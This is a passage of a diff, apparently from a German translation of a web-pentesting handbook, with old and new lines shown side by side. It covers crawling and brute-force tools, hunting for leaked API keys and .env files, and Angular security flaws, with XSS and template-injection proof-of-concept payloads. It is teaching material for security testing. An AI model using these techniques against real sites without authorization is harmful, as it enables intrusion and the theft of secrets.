- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL angibt und Ihnen den beautifizierten JS-Code liefert.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ein Tool, das die .js.map-URL verwendet, um den beautifizierten JS-Code zu erhalten.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dies ist ein Tool, das verwendet wird, um Endpunkte für ein bestimmtes Ziel zu entdecken.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Entdecken Sie Links von der Wayback-Maschine (auch die Antworten in der Wayback herunterladen und nach weiteren Links suchen).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawlen (auch durch Ausfüllen von Formularen) und auch sensible Informationen mit spezifischen Regexen finden.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ist ein fortschrittlicher, multifunktionaler GUI-Websicherheits-Crawler/Spider, der für Cybersicherheitsprofis entwickelt wurde.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es ist ein Go-Paket und [Befehlszeilentool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) zum Extrahieren von URLs, Pfaden, Geheimnissen und anderen interessanten Daten aus JavaScript-Quellcode.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ist eine einfache **Burp Suite-Erweiterung**, um **Parameter und Endpunkte** aus der Anfrage zu extrahieren, um benutzerdefinierte Wortlisten für Fuzzing und Enumeration zu erstellen.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Großartiges Tool dafür.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Tolle Tool dafür.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Druckt jeden Link, den es finden kann.
### Brute Force Verzeichnisse und Dateien
Beginnen Sie mit dem **Brute-Forcing** vom Stammordner und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen **entdecken**, die durch das **Spidering** **entdeckt** wurden (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
Beginnen Sie mit dem **Brute-Forcing** vom Stammverzeichnis und stellen Sie sicher, dass Sie **alle** **gefundenen Verzeichnisse** mit **dieser Methode** und allen Verzeichnissen, die durch das **Spidering** **entdeckt** wurden, brute-forcen (Sie können dieses Brute-Forcing **rekursiv** durchführen und am Anfang der verwendeten Wortliste die Namen der gefundenen Verzeichnisse anhängen).\
Tools:
- **Dirb** / **Dirbuster** - In Kali enthalten, **alt** (und **langsam**), aber funktional. Erlaubt automatisch signierte Zertifikate und rekursive Suche. Zu langsam im Vergleich zu den anderen Optionen.
@ -264,22 +264,22 @@ Tools:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es Brute-Forced werden sollte._
_Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings ein neues Verzeichnis entdeckt wird, es brute-forced werden sollte._
### Was bei jeder gefundenen Datei zu überprüfen ist
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Finden Sie defekte Links in HTMLs, die anfällig für Übernahmen sein könnten.
- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** verwenden.**
- **Dateisicherungen**: Sobald Sie alle Dateien gefunden haben, suchen Sie nach Sicherungen aller ausführbaren Dateien ("_.php_", "_.aspx_"...). Häufige Variationen zur Benennung einer Sicherung sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Sie können auch das Tool [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Neue Parameter entdecken**: Sie können Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn Sie können, könnten Sie versuchen, versteckte Parameter in jeder ausführbaren Webdatei zu suchen.**
- _Arjun alle Standard-Wortlisten:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Kommentare:** Überprüfen Sie die Kommentare aller Dateien, Sie können **Anmeldeinformationen** oder **versteckte Funktionen** finden.
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **Hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
- Wenn Sie **CTF** spielen, ist ein "gewöhnlicher" Trick, **Informationen** in Kommentaren auf der **rechten** Seite der **Seite** zu **verstecken** (indem Sie **hunderte** von **Leerzeichen** verwenden, sodass Sie die Daten nicht sehen, wenn Sie den Quellcode mit dem Browser öffnen). Eine andere Möglichkeit besteht darin, **mehrere neue Zeilen** zu verwenden und **Informationen** in einem Kommentar am **unteren** Ende der Webseite zu **verstecken**.
- **API-Schlüssel**: Wenn Sie **einen API-Schlüssel finden**, gibt es eine Anleitung, die angibt, wie man API-Schlüssel verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API-Schlüssel: Wenn Sie einen API-Schlüssel finden, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, können Sie das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu überprüfen, auf welche APIs der Schlüssel zugreifen kann.
- **S3-Buckets**: Überprüfen Sie beim Spidering, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
- **S3-Buckets**: Achten Sie beim Spidering darauf, ob eine **Subdomain** oder ein **Link** mit einem **S3-Bucket** verbunden ist. In diesem Fall [**überprüfen** Sie die **Berechtigungen** des Buckets](buckets/index.html).
### Besondere Funde
@ -288,17 +288,17 @@ _Bedenken Sie, dass jedes Mal, wenn während des Brute-Forcings oder Spiderings
**Interessante Dateien**
- Suchen Sie nach **Links** zu anderen Dateien in den **CSS**-Dateien.
- [Wenn Sie eine _**.git**_-Datei finden, können einige Informationen extrahiert werden](git.md).
- Wenn Sie eine _**.env**_-Datei finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
- [Wenn Sie eine _**.git**_ Datei finden, können einige Informationen extrahiert werden](git.md)
- Wenn Sie eine _**.env**_ finden, können Informationen wie API-Schlüssel, Datenbankpasswörter und andere Informationen gefunden werden.
- Wenn Sie **API-Endpunkte** finden, [sollten Sie diese ebenfalls testen](web-api-pentesting.md). Diese sind keine Dateien, sehen aber wahrscheinlich "so aus".
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)** verwenden.**
- **JS-Dateien**: Im Abschnitt Spidering wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es wäre auch interessant, **jede gefundene JS-Datei zu überwachen**, da in einigen Fällen eine Änderung darauf hindeuten kann, dass eine potenzielle Sicherheitsanfälligkeit im Code eingeführt wurde. Sie könnten beispielsweise [**JSMon**](https://github.com/robre/jsmon)**.** verwenden.
- Sie sollten auch entdeckte JS-Dateien mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) überprüfen, um herauszufinden, ob sie anfällig sind.
- **Javascript Deobfuscator und Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck-Deobfuskation** (Javascript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **JsFuck-Deobfuskation** (JavaScript mit Zeichen:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex).
- Sie könnten auch die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung im Parameter oder das Auftreten eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
- In mehreren Fällen müssen Sie die **regulären Ausdrücke** verstehen, die verwendet werden. Dies wird nützlich sein: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
- Sie könnten auch **die Dateien überwachen, in denen Formulare erkannt wurden**, da eine Änderung im Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue anfällige Funktionalität hinweisen kann.
**403 Forbidden/Basic Authentication/401 Unauthorized (Umgehung)**
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -14,7 +14,7 @@ Checkliste [von hier](https://lsgeurope.com/post/angular-security-checklist).
## Was ist Angular
Angular ist ein **leistungsstarkes** und **Open-Source**-Frontend-Framework, das von **Google** gepflegt wird. Es verwendet **TypeScript**, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular gängige clientseitige Schwachstellen wie **XSS** und **offene Weiterleitungen**. Es kann auch auf der **Server-Seite** verwendet werden, was Sicherheitsüberlegungen aus **beiden Perspektiven** wichtig macht.
Angular ist ein **leistungsstarkes** und **Open-Source**-Frontend-Framework, das von **Google** gepflegt wird. Es verwendet **TypeScript**, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular häufige clientseitige Schwachstellen wie **XSS** und **offene Weiterleitungen**. Es kann auch auf der **Server-Seite** verwendet werden, was Sicherheitsüberlegungen aus **beiden Perspektiven** wichtig macht.
## Framework-Architektur
@ -39,17 +39,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Laut der Dokumentation hat jede Angular-Anwendung mindestens eine Komponente, die Wurzelkomponente (`AppComponent`), die eine Komponentenhierarchie mit dem DOM verbindet. Jede Komponente definiert eine Klasse, die Anwendungsdaten und -logik enthält und mit einer HTML-Vorlage verknüpft ist, die eine Ansicht definiert, die in einer Zielumgebung angezeigt werden soll. Der `@Component()`-Dekorator identifiziert die direkt darunter liegende Klasse als Komponente und stellt die Vorlage sowie die zugehörigen komponentenspezifischen Metadaten bereit. Die `AppComponent` ist in der Datei `app.component.ts` definiert.
Laut der Dokumentation hat jede Angular-Anwendung mindestens eine Komponente, die Wurzelkomponente (`AppComponent`), die eine Komponentenhierarchie mit dem DOM verbindet. Jede Komponente definiert eine Klasse, die Anwendungsdaten und -logik enthält und mit einer HTML-Vorlage verknüpft ist, die eine Ansicht darstellt, die in einer Zielumgebung angezeigt werden soll. Der `@Component()`-Dekorator identifiziert die direkt darunter liegende Klasse als Komponente und stellt die Vorlage sowie die zugehörigen komponentenspezifischen Metadaten bereit. Die `AppComponent` ist in der Datei `app.component.ts` definiert.
Angular NgModules erklären einen Kompilierungskontext für eine Gruppe von Komponenten, die einem Anwendungsbereich, einem Workflow oder einer eng verwandten Gruppe von Funktionen gewidmet sind. Jede Angular-Anwendung hat ein Wurzelmodul, das konventionell `AppModule` genannt wird und den Bootstrap-Mechanismus bereitstellt, der die Anwendung startet. Eine Anwendung enthält typischerweise viele funktionale Module. Das `AppModule` ist in der Datei `app.module.ts` definiert.
Das Angular `Router` NgModule bietet einen Dienst, der es Ihnen ermöglicht, einen Navigationspfad zwischen den verschiedenen Anwendungszuständen und Ansichtshierarchien in Ihrer Anwendung zu definieren. Das `RouterModule` ist in der Datei `app-routing.module.ts` definiert.
Für Daten oder Logik, die nicht mit einer bestimmten Ansicht verknüpft sind und die Sie über Komponenten hinweg teilen möchten, erstellen Sie eine Dienstklasse. Eine Dienstklassendefinition wird unmittelbar von dem `@Injectable()`-Dekorator vorausgegangen. Der Dekorator stellt die Metadaten bereit, die es anderen Anbietern ermöglichen, als Abhängigkeiten in Ihre Klasse injiziert zu werden. Die Abhängigkeitsinjektion (DI) ermöglicht es Ihnen, Ihre Komponentenklassen schlank und effizient zu halten. Sie holen keine Daten vom Server, validieren keine Benutzereingaben und protokollieren nicht direkt in die Konsole; sie delegieren solche Aufgaben an Dienste.
Für Daten oder Logik, die nicht mit einer bestimmten Ansicht verknüpft sind und die Sie über Komponenten hinweg teilen möchten, erstellen Sie eine Dienstklasse. Eine Dienstklassendefinition wird unmittelbar von dem `@Injectable()`-Dekorator vorausgegangen. Der Dekorator stellt die Metadaten bereit, die es anderen Anbietern ermöglichen, als Abhängigkeiten in Ihre Klasse injiziert zu werden. Die Abhängigkeitsinjektion (DI) ermöglicht es Ihnen, Ihre Komponentenklassen schlank und effizient zu halten. Sie holen keine Daten vom Server, validieren keine Benutzereingaben oder protokollieren nicht direkt in die Konsole; sie delegieren solche Aufgaben an Dienste.
## Sourcemap-Konfiguration
Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen aus `tsconfig.json` befolgt und dann ein Projekt mit der Konfiguration aus `angular.json` erstellt. Wenn wir die Datei `angular.json` betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei für Skripte aktiviert und ist standardmäßig nicht verborgen:
Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen in `tsconfig.json` befolgt, und erstellt dann ein Projekt mit der Konfiguration in `angular.json`. Wenn wir die Datei `angular.json` betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei für Skripte aktiviert und ist standardmäßig nicht verborgen:
```json
"sourceMap": {
"scripts": true,
@ -58,9 +58,9 @@ Das Angular-Framework übersetzt TypeScript-Dateien in JavaScript-Code, indem es
"hidden": false
}
```
Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprünglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien mit ihren ursprünglichen Dateien verknüpfen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstützt die Dateianalyse, indem der ursprüngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein Prüfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.
Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Je nach den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`.
Darüber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → \[id].main.js gefunden werden. Abhängig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten `//# sourceMappingURL=[id].main.js.map` oder sie kann es nicht, wenn die **hidden**-Option auf **true** gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap für **Skripte** deaktiviert ist, und wir können die Datei nicht erhalten. Darüber hinaus kann die Sourcemap während des Projektbaus aktiviert werden, wie `ng build --source-map`.
## Datenbindung
@ -68,24 +68,24 @@ Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente
Wir können Binding nach Datenfluss klassifizieren:
* Datenquelle zu Zielansicht (einschließlich _Interpolation_, _Eigenschaften_, _Attribute_, _Klassen_ und _Stile_); kann durch Verwendung von `[]` oder `{{}}` im Template angewendet werden;
* Zielansicht zu Datenquelle (einschließlich _Ereignisse_); kann durch Verwendung von `()` im Template angewendet werden;
* Zwei-Wege; kann durch Verwendung von `[()]` im Template angewendet werden.
* Datenquelle zu Zielansicht (einschließlich _Interpolation_, _Eigenschaften_, _Attribute_, _Klassen_ und _Stile_); kann durch die Verwendung von `[]` oder `{{}}` im Template angewendet werden;
* Zielansicht zu Datenquelle (einschließlich _Ereignisse_); kann durch die Verwendung von `()` im Template angewendet werden;
* Zwei-Wege; kann durch die Verwendung von `[()]` im Template angewendet werden.
Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quell-Direktive angewendet werden:
Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden:
| TYP | ZIEL | BEISPIELE |
| -------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiv-Eigenschaft | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Ereignis | Elementereignis, Komponenteneignis, Direktiv-Ereignis | \<button type="button" (click)="onSave()">Speichern |
| Zwei-Wege | Ereignis und Eigenschaft | \<input \[(ngModel)]="name"> |
| Attribut | Attribut (die Ausnahme) | \<button type="button" \[attr.aria-label]="help">hilfe |
| Klasse | Klassen-Eigenschaft | \<div \[class.special]="isSpecial">Sonder |
| Stil | Stileigenschaft | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
| Eigenschaft | Elementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
| Ereignis | Elementereignis, Komponenteneignis, Direktivereignis | \<button type="button" (click)="onSave()">Speichern |
| Zwei-Wege | Ereignis und Eigenschaft | \<input \[(ngModel)]="name"> |
| Attribut | Attribut (die Ausnahme) | \<button type="button" \[attr.aria-label]="help">Hilfe |
| Klasse | Klassen-Eigenschaft | \<div \[class.special]="isSpecial">Spezial |
| Stil | Stil-Eigenschaft | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Angular-Sicherheitsmodell
Das Design von Angular umfasst standardmäßig die Kodierung oder Sanitärung aller Daten, was es zunehmend schwierig macht, XSS-Schwachstellen in Angular-Projekten zu entdecken und auszunutzen. Es gibt zwei verschiedene Szenarien für die Datenverarbeitung:
Das Design von Angular umfasst standardmäßig die Kodierung oder Sanitärung aller Daten, was es zunehmend schwierig macht, XSS-Schwachstellen in Angular-Projekten zu entdecken und auszunutzen. Es gibt zwei unterschiedliche Szenarien für die Datenverarbeitung:
1. Interpolation oder `{{user_input}}` - führt kontextabhängige Kodierung durch und interpretiert Benutzereingaben als Text;
@ -110,7 +110,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
Ergebnis: `<div><h1>test</h1></div>`
Es gibt 6 Typen von `SecurityContext`:
Es gibt 6 Typen von `SecurityContext` :
* `None`;
* `HTML` wird verwendet, wenn der Wert als HTML interpretiert wird;
@ -121,9 +121,9 @@ Es gibt 6 Typen von `SecurityContext`:
## Schwachstellen
### Umgehung der Sicherheitsvertrauensmethoden
### Umgehung von Sicherheitsvertrauensmethoden
Angular führt eine Liste von Methoden ein, um den standardmäßigen Sanitärungsprozess zu umgehen und anzuzeigen, dass ein Wert in einem bestimmten Kontext sicher verwendet werden kann, wie in den folgenden fünf Beispielen:
Angular führt eine Liste von Methoden ein, um den standardmäßigen Sanitärungsprozess zu umgehen und anzuzeigen, dass ein Wert sicher in einem bestimmten Kontext verwendet werden kann, wie in den folgenden fünf Beispielen:
1. `bypassSecurityTrustUrl` wird verwendet, um anzuzeigen, dass der angegebene Wert eine sichere Stil-URL ist:
@ -210,15 +210,15 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
Das Ergebnis ist `<div><h1>test</h1></div>`.
<div><h1>test</h1></div>
### Template-Injection
#### Client-Side Rendering (CSR)
#### Client-Seitige Darstellung (CSR)
Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-Ausdrücke für Angular zur Auswertung in doppelte geschweifte Klammern (`{{}}`) einzuschließen. Auf diese Weise bietet das Framework zusätzliche Funktionalität. Zum Beispiel würde ein Template wie `{{1+1}}` als 2 angezeigt werden.
Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-Ausdrücke für Angular innerhalb von doppelten geschweiften Klammern (`{{}}`) einzuschließen. Auf diese Weise bietet das Framework zusätzliche Funktionalität. Zum Beispiel würde ein Template wie `{{1+1}}` als 2 angezeigt werden.
Typischerweise entkommt Angular Benutzereingaben, die mit Template-Ausdrücken verwechselt werden können (z. B. Zeichen wie \`< > ' " \`\`). Das bedeutet, dass zusätzliche Schritte erforderlich sind, um diese Einschränkung zu umgehen, wie die Verwendung von Funktionen, die JavaScript-String-Objekte generieren, um die Verwendung von auf der Blacklist stehenden Zeichen zu vermeiden. Um dies zu erreichen, müssen wir jedoch den Angular-Kontext, seine Eigenschaften und Variablen berücksichtigen. Daher könnte ein Template-Injection-Angriff wie folgt aussehen:
Typischerweise entkommt Angular Benutzereingaben, die mit Template-Ausdrücken verwechselt werden können (z. B. Zeichen wie \`< > ' " \`\`). Das bedeutet, dass zusätzliche Schritte erforderlich sind, um diese Einschränkung zu umgehen, wie die Nutzung von Funktionen, die JavaScript-String-Objekte generieren, um die Verwendung von auf der Blacklist stehenden Zeichen zu vermeiden. Um dies zu erreichen, müssen wir jedoch den Angular-Kontext, seine Eigenschaften und Variablen berücksichtigen. Daher könnte ein Template-Injection-Angriff wie folgt aussehen:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -227,11 +227,11 @@ selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
```
Wie oben gezeigt, bezieht sich `constructor` auf den Geltungsbereich der Objekt `constructor`-Eigenschaft, was es uns ermöglicht, den String-Konstruktor aufzurufen und beliebigen Code auszuführen.
Wie oben gezeigt, bezieht sich `constructor` auf den Geltungsbereich der Objekt `constructor`-Eigenschaft, die es uns ermöglicht, den String-Konstruktor aufzurufen und beliebigen Code auszuführen.
#### Server-Side Rendering (SSR)
Im Gegensatz zu CSR, das im DOM des Browsers stattfindet, ist Angular Universal für SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Sicherheitsanfälligkeit in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
Im Gegensatz zu CSR, das im DOM des Browsers erfolgt, ist Angular Universal für SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Sicherheitsanfälligkeit in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.
Natürlich besteht auch die Möglichkeit, neue Template-Injection-Sicherheitsanfälligkeiten einzuführen, wenn Drittanbieter-Template-Engines wie Pug und Handlebars verwendet werden.
@ -292,7 +292,7 @@ document.body.appendChild(a);
```
#### Angular-Klassen
Es gibt einige Klassen, die verwendet werden können, um mit DOM-Elementen in Angular zu arbeiten: `ElementRef`, `Renderer2`, `Location` und `Document`. Eine detaillierte Beschreibung der letzten beiden Klassen ist im Abschnitt **Open redirects** zu finden. Der Hauptunterschied zwischen den ersten beiden besteht darin, dass die `Renderer2` API eine Abstraktionsschicht zwischen dem DOM-Element und dem Komponenten-Code bereitstellt, während `ElementRef` lediglich eine Referenz auf das Element hält. Daher sollte laut Angular-Dokumentation die `ElementRef` API nur als letzte Möglichkeit verwendet werden, wenn direkter Zugriff auf das DOM erforderlich ist.
Es gibt einige Klassen, die verwendet werden können, um mit DOM-Elementen in Angular zu arbeiten: `ElementRef`, `Renderer2`, `Location` und `Document`. Eine detaillierte Beschreibung der letzten beiden Klassen ist im Abschnitt **Open redirects** zu finden. Der Hauptunterschied zwischen den ersten beiden besteht darin, dass die `Renderer2`-API eine Abstraktionsschicht zwischen dem DOM-Element und dem Komponenten-Code bereitstellt, während `ElementRef` lediglich eine Referenz auf das Element hält. Daher sollte laut Angular-Dokumentation die `ElementRef`-API nur als letztes Mittel verwendet werden, wenn direkter Zugriff auf das DOM erforderlich ist.
* `ElementRef` enthält die Eigenschaft `nativeElement`, die verwendet werden kann, um die DOM-Elemente zu manipulieren. Eine unsachgemäße Verwendung von `nativeElement` kann zu einer XSS-Injektionsanfälligkeit führen, wie unten gezeigt:
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
* Trotz der Tatsache, dass `Renderer2` eine API bereitstellt, die sicher verwendet werden kann, selbst wenn direkter Zugriff auf native Elemente nicht unterstützt wird, hat es dennoch einige Sicherheitsanfälligkeiten. Mit `Renderer2` ist es möglich, Attribute eines HTML-Elements mit der Methode `setAttribute()` festzulegen, die keine XSS-Präventionsmechanismen hat.
* Trotz der Tatsache, dass `Renderer2` eine API bereitstellt, die sicher verwendet werden kann, selbst wenn direkter Zugriff auf native Elemente nicht unterstützt wird, hat es dennoch einige Sicherheitsmängel. Mit `Renderer2` ist es möglich, Attribute eines HTML-Elements mit der Methode `setAttribute()` festzulegen, die keine XSS-Präventionsmechanismen hat.
```tsx
//app.component.ts
@ -375,7 +375,7 @@ Während unserer Forschung haben wir auch das Verhalten anderer `Renderer2`-Meth
#### jQuery
jQuery ist eine schnelle, kleine und funktionsreiche JavaScript-Bibliothek, die im Angular-Projekt verwendet werden kann, um bei der Manipulation der HTML-DOM-Objekte zu helfen. Wie bekannt ist, können die Methoden dieser Bibliothek jedoch ausgenutzt werden, um eine XSS-Anfälligkeit zu erreichen. Um zu diskutieren, wie einige anfällige jQuery-Methoden in Angular-Projekten ausgenutzt werden können, haben wir diesen Unterabschnitt hinzugefügt.
jQuery ist eine schnelle, kleine und funktionsreiche JavaScript-Bibliothek, die im Angular-Projekt verwendet werden kann, um bei der Manipulation der HTML-DOM-Objekte zu helfen. Wie bekannt ist, können die Methoden dieser Bibliothek ausgenutzt werden, um eine XSS-Anfälligkeit zu erreichen. Um zu diskutieren, wie einige anfällige jQuery-Methoden in Angular-Projekten ausgenutzt werden können, haben wir diesen Unterabschnitt hinzugefügt.
